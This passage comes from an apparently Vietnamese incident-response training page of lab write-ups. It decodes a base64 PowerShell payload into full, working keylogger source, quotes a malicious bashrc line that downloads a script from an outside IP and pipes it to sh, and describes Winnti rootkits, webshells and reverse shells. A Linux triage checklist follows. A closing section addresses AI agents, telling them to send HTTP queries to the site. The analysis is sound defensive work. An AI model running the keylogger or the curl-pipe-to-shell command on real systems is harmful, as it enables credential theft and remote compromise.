BlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFIAZQBkAAoACgAgACAAIAAgACMAIABjAHIAZQBhAHQAZQAgAGUAbgBkAGwAZQBzAHMAIABsAG8AbwBwAC4AIABXAGgAZQBuACAAdQBzAGUAcgAgAHAAcgBlAHMAcwBlAHMAIABDAFQAUgBMACsAQwAsACAAZgBpAG4AYQBsAGwAeQAtAGIAbABvAGMAawAKACAAIAAgACAAIwAgAGUAeABlAGMAdQB0AGUAcwAgAGEAbgBkACAAcwBoAG8AdwBzACAAdABoAGUAIABjAG8AbABsAGUAYwB0AGUAZAAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwAAoAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAjACAAcwBjAGEAbgAgAGEAbABsACAAQQBTAEMASQBJACAAYwBvAGQAZQBzACAAYQBiAG8AdgBlACAAOAAKACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGEAcwBjAGkAaQAgAD0AIAA5ADsAIAAkAGEAcwBjAGkAaQAgAC0AbABlACAAMgA1ADQAOwAgACQAYQBzAGMAaQBpACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABjAHUAcgByAGUAbgB0ACAAawBlAHkAIABzAHQAYQB0AGUACgAgACAAIAAgACAAIAAgACAAJABzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQAQQBzAHkAbgBjAEsAZQB5AFMAdABhAHQAZQAoACQAYQBzAGMAaQBpACkACgAKACAAIAAgACAAIAAgACAAIAAjACAAaQBzACAAawBlAHkAIABwAHIAZQBzAHMAZQBkAD8ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHQAZQAgAC0AZQBxACAALQAzADIANwA2ADcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABbAGMAbwBuAHMAbwBsAGUAXQA6ADoAQwBhAHAAcwBMAG8AYwBrAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIAB0AHIAYQBuAHMAbABhAHQAZQAgAHMAYwBhAG4AIABjAG8AZABlACAAdABvACAAcgBlAGEAbAAgAGMAbwBkAGUACgAgACAAIAAgACAAIAAgACAAIAAgACQAdgBpAHIAdAB1AGEAbABLAGUAeQAgAD0AIAAkAEEAUABJADoAOgBNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAJABhAHMAYwBpAGkALAAgADMAKQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABrAGUAeQBiAG8AYQByAGQAIABzAHQAYQB0AGUAIABmAG8AcgAgAHYAaQByAHQAdQBhAGwAIABrAGUAeQBzAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAGsAYgBzAHQAYQB0AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAMgA1ADYACgAgACAAIAAgACAAIAAgACAAIAAgACQAYwBoAGUAYwBrAGsAYgBzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoACQAawBiAHMAdABhAHQAZQApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIABwAHIAZQBwAGEAcgBlACAAYQAgAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIAB0AG8AIAByAGUAYwBlAGkAdgBlACAAaQBuAHAAdQB0ACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAbQB5AGMAaABhAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAdAByAGEAbgBzAGwAYQB0AGUAIAB2AGkAcgB0AHUAYQBsACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAcwB1AGMAYwBlAHMAcwAgAD0AIAAkAEEAUABJADoAOgBUAG8AVQBuAGkAYwBvAGQAZQAoACQAYQBzAGMAaQBpACwAIAAkAHYAaQByAHQAdQBhAGwASwBlAHkALAAgACQAawBiAHMAdABhAHQAZQAsACAAJABtAHkAYwBoAGEAcgAsACAAJABtAHkAYwBoAGEAcgAuAEMAYQBwAGEAYwBpAHQAeQAsACAAMAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHUAYwBjAGUAcwBzACkAIAAKACAAIAAgACAAIAAgACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABhAGQAZAAgAGsAZQB5ACAAdABvACAAbABvAGcAZwBlAHIAIABmAGkAbABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQQBwAHAAZQBuAGQAQQBsAGwAVABlAHgAdAAoACQAUABhAHQAaAAsACAAJABtAHkAYwBoAGEAcgAsACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApACAACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAfQAKACAAIABmAGkAbgBhAGwAbAB5AAoAIAAgAHsACgAgACAAIAAgACMAIABvAHAAZQBuACAAbABvAGcAZwBlAHIAIABmAGkAbABlACAAaQBuACAATgBvAHQAZQBwAGEAZAAKACAAIAAgACAAIwAgAG4AbwB0AGUAcABhAGQAIAAkAFAAYQB0AGgACgAgACAAfQAKAH0ACgAKACMAIAByAGUAYwBvAHIAZABzACAAYQBsAGwAIABrAGUAeQAgAHAAcgBlAHMAcwBlAHMAIAB1AG4AdABpAGwAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAYgBvAHIAdABlAGQAIABiAHkAIABwAHIAZQBzAHMAaQBuAGcAIABDAFQAUgBMACsAQwAKACMAIAB3AGkAbABsACAAdABoAGUAbgAgAG8AcABlAG4AIAB0AGgAZQAgAGYAaQBsAGUAIAB3AGkAdABoACAAYwBvAGwAbABlAGMAdABlAGQAIABrAGUAeQAgAGMAbwBkAGUAcwAKAFMAdABhAHIAdAAtAEsAZQB5AEwAbwBnAGcAZQByAA==
</strong></code></pre>

Decode Base64 phát hiện đây là một keylogger

```c
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt") 
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
    
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

  try
  {
    #Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
      
      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
    }
  }
  finally
  {
    # open logger file in Notepad
    # notepad $Path
  }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
```

<figure><img src="/files/zsiHFkxipprHCga7CsVl" alt=""><figcaption><p>tiến trình thực thi keylogger trên Procexp</p></figcaption></figure>

## Lab 20

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run với giá trị là file thực thi không có chữ ký C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe

Syscheck ra kết quả là tệp sethc.exe không được ký

<figure><img src="/files/R9yGZ3Mzuyev43su9ZAZ" alt=""><figcaption></figcaption></figure>

## Linux checklist

```
#Rà soát Linux

#Rà soát tiến trình:
ps -eo user,pid,ppid,pcpu,pmem,comm,lstart,etime,args | more			# getlog
ps -ef | more
readlink -f /proc/*/exe

#Rà soát kết nối mạng:
netstat -ntlpu | more
netstat -nap | more			# getlog

#Rà Preload
echo $LD_PRELOAD
ls -latr /etc/ld.so.preload

#Rà soát autoruns:
ls -latr /etc/cron*											#-> schedule
ls -latr /var/spool/cron/crontabs
#-> xem exported lib .so -> check library load lên 
ls -latr /home/*/.bashrc
ls -latr /home/*/.bash_profile
ls -latr /home/*/.bash_logout

ls -latr /etc/profile
ls -latr /etc/environment
ls -latr /etc/bashrc
ls -latr /etc/bash.bashrc
ls -latr /etc/bash.bash_logout

ls -latr /etc/init.d/ | more
ls -latr /etc/rc*.d/ | more

ls -latr /etc/ssh/sshrc
ls -latr /etc/xdg/lxsession/Lubuntu/autostart
ls -latr /usr/share/autostart
ls -latr /etc/xdg/xfce4/xinitrc

#Rà soát users:
cat /etc/passwd
cat /etc/sudoers

#Rà soát command history:
cat /var/log/cmdlog.log | more					# getlog
cat /home/*/.bash_history | more				# getlog

cat /home/*/.sh_history | more
cat /home/*/.vi_history | more

cat /var/log/secure* | grep Accepted |more		# getlog
last|more
lastlog

#Rà soát thư mục quan trọng:
ls -latr /tmp | more
ls -latr /var/run | more

#Rà soát tunnel :
iptables -L -vn -t nat

#Kiểm tra server endpoint :
service salt-minion status
#Kiểm tra ConnectWise /etc/init.d/screenconnect
service screenconnect status
#Máy có cài libpcap:
#Có thư mục 
ls -latr /usr/include/pcap
#- Có process đang load thư viện libpcap:
find /proc/ -iname "libpcap.so"
#=>> output sẽ có pid của process đang load libpcap.so
#Lưu ý Winnti 
stat /lib/libxselinux
stat /lib/libxselinux.so
stat /lib64/libxselinux
stat /lib64/libxselinux.so
ls -latr /etc/ld.so.preload

#Lấy log audit
cat /var/log/audit/audit.log|more				# getlog

#Bổ sung trong trường hợp cần rà user root, ...
ls -latr /etc/
ls -latr /usr/sbin
ls -latr /usr/bin

ls -latr /root/.bashrc
ls -latr /root/.profile 
ls -latr /root/.bash_profile
ls -latr /root/.bash_logout 
cat /root/.bash_history | more

#Phụ lục:
#Copy file :
Scp from to
Example: scp 1.txt user@ip:2.txt
#Lấy full đường dẫn process từ pid: 
readlink –f /proc/pid/exe
#Lấy hash 1 file: 
md5sum /path
#Nén zip 
zip -P password -r filename.zip foldername
#Tạo thư mục sample
mkdir folder
cp -i {Pathfile} {Pathfolder}  - đệ qui folder-folder dùng -Ri
mv -i {Pathfile} {Pathfolder}  - đệ qui folder-folder dùng -Ri
#Cleanup
rm -rf file/folder
kill PID

#Check Lỗ hổng 
# Check opatch
# Các phiên bản chưa cập nhật bản vá (CVE-2018-2879 ): 11.1.2.3.0, 12.2.1.3.0 hoặc thấp hơn
$Oracle_Home/OPatch/opatch lsinventory -detail

# Check primefaces
# version trả về < 5.3.8 nếu là 5.3.* hoặc < 5.2.21 cho các trường hợp khác.
cat /proc/*/maps | grep -e "primefaces-5.*.jar"

# Check RMI
# Check cac ung dung java su dung mmserver -> co nguy co mac lo hong rmi
ps -ef|grep java|grep mmserver


# Check Solr
# Kiểm tra version trả về bị lỗi nếu nằm trong khoảng:
# o 5.5.0 đến 5.5.4
# o 6.0.0 đến 6.6.1
# o 7.0.0 đến 7.0.1
cat /proc/*/maps | grep -e "solr-core-.*.jar"

# Spring
# Kiem tra tien trinh java co su dung Spring Boot -> xac dinh version
# Spring Boot Trước 1.3.1
# Trước 1.2.8 1.3.1 trở đi
# 1.2.8 trở đi
# 2  Spring Oauth Từ 2.0.0 tới 2.0.9
# Từ 1.0.0 tới 1.0.5 2.0.10 trở đi
cat /proc/*/maps | grep spring-boot

# stuts
# Các ứng dụng có sử dụng bản cũ hơn hai phiên bản 2.5.17 và 2.3.35 có nguy cơ mắc lỗ hổng
cat /proc/*/maps|grep "struts2-core" | grep -v -E "2.5.17|2.3.35"
```

## Lab 21

Khi thực thi lệnh luôn để lại alert, khả năng LD\_PRELOAD đã bị lạm dụng

<figure><img src="/files/GcoaVHCpwRFJ3Dfz6Fo9" alt=""><figcaption></figcaption></figure>

Không thể cat, nhưng dùng vi có thể xem được nội dung

<figure><img src="/files/MUHNyndloBpgbWg7q5b7" alt=""><figcaption></figcaption></figure>

Phát hiện Rootkit Winnti

<figure><img src="/files/c9lqQKdnabxmMdDCDTmz" alt=""><figcaption></figcaption></figure>

```
06c20c95ca7a0e9a2c94ee738e150ce2  /lib64/libxselinux.so
```

<figure><img src="/files/4kmBcNLKIVUZajBoX9lb" alt=""><figcaption></figcaption></figure>

Thor Lite phát hiện webshell tại&#x20;

/var/www/html/simple-php-website/css/404.php

/var/www/html/simple-php-website/css/template.php

<figure><img src="/files/xaH5YGqPf8ZgEZBVGOYC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vgfwoCr7VlqjwnHe7sbC" alt=""><figcaption></figcaption></figure>

Có thể tìm thấy mã nguồn tại [github](https://github.com/tennc/webshell/blob/master/xakep-shells/PHP/php-backdoor.php.txt)

Webshell cho phép kẻ tấn công kiểm soát hệ thống từ xa bằng cách thực hiện các lệnh hệ thống, tải lên tệp, duyệt thư mục, và thực hiện các truy vấn SQL

## Lab 22

Dấu hiệu reverse shell qua Netcat

<figure><img src="/files/iUjac0jMxc7gnLDJ0Vr6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/folBcpemV6MlesaZSVhc" alt=""><figcaption></figcaption></figure>

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp

<figure><img src="/files/cvTsJBakwx8wgdcHP2MK" alt=""><figcaption></figcaption></figure>

Có thể tìm thấy webshell này trên[ github](https://github.com/sensepost/reGeorg/blob/master/tunnel.jsp)

Webshell này hoạt động như một proxy ngầm cho phép kẻ tấn công sử dụng máy chủ bị xâm nhập như một trạm trung gian để kết nối đến các hệ thống khác trong mạng nội bộ mà từ bên ngoài không thể truy cập trực tiếp

## Lab 23

Khi SSH vào Server, xuất hiện hiển thị lạ

<figure><img src="/files/mfMIHeMzTCRM0OcmzgVE" alt=""><figcaption></figcaption></figure>

Khi ra soát, phát hiện /etc/bashrc được sửa đổi gần đây

<figure><img src="/files/lAAqBhq6JEKOULVpN94a" alt=""><figcaption></figcaption></figure>

Nội dung thêm vào:

```
# vim:ts=4:sw=4
curl -s -L http://217.12.221.12/Ci.sh|sh
```

Đoạn mã tải về thực thi một bash shell từ một nguồn không rõ bất kỳ khi nào người dùng mở một shell

## Lab 24

Cứ một chốc lại nhận được thông báo trên terminal về mail

<figure><img src="/files/s9UgW9YFCplj7x7vXqD5" alt=""><figcaption></figcaption></figure>

Khi cat nội dung thì biết nó được gửi từ cron daemon, thông báo lỗi về một tác vụ crontab

<figure><img src="/files/LIiVef7sCYsjzfJto7f1" alt=""><figcaption></figcaption></figure>

Khi rà soát có thể phát hiện command line trong /var/log/cmd.log

<figure><img src="/files/wrAknznDk3TEiacGlLjJ" alt=""><figcaption></figcaption></figure>

Đoạn mã này sẽ thêm một crontab chạy mỗi phút, tạo một revershell trên port 443

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/PostThue.jsp

<figure><img src="/files/Cd8cOIM0nCWnUyThhg3y" alt=""><figcaption></figcaption></figure>

có thể tìm thấy webshell tại [github](https://github.com/tennc/webshell/blob/master/jsp/jspbrowser/Browser.jsp)

[^1]: liên quan đến **Microsoft iSCSI Initiator** trên hệ điều hành Windows. Đây là một dịch vụ cho phép kết nối với thiết bị lưu trữ qua giao thức **iSCSI (Internet Small Computer Systems Interface)**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://letienloi.gitbook.io/trainning/week-8/ra-soat-ma-doc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
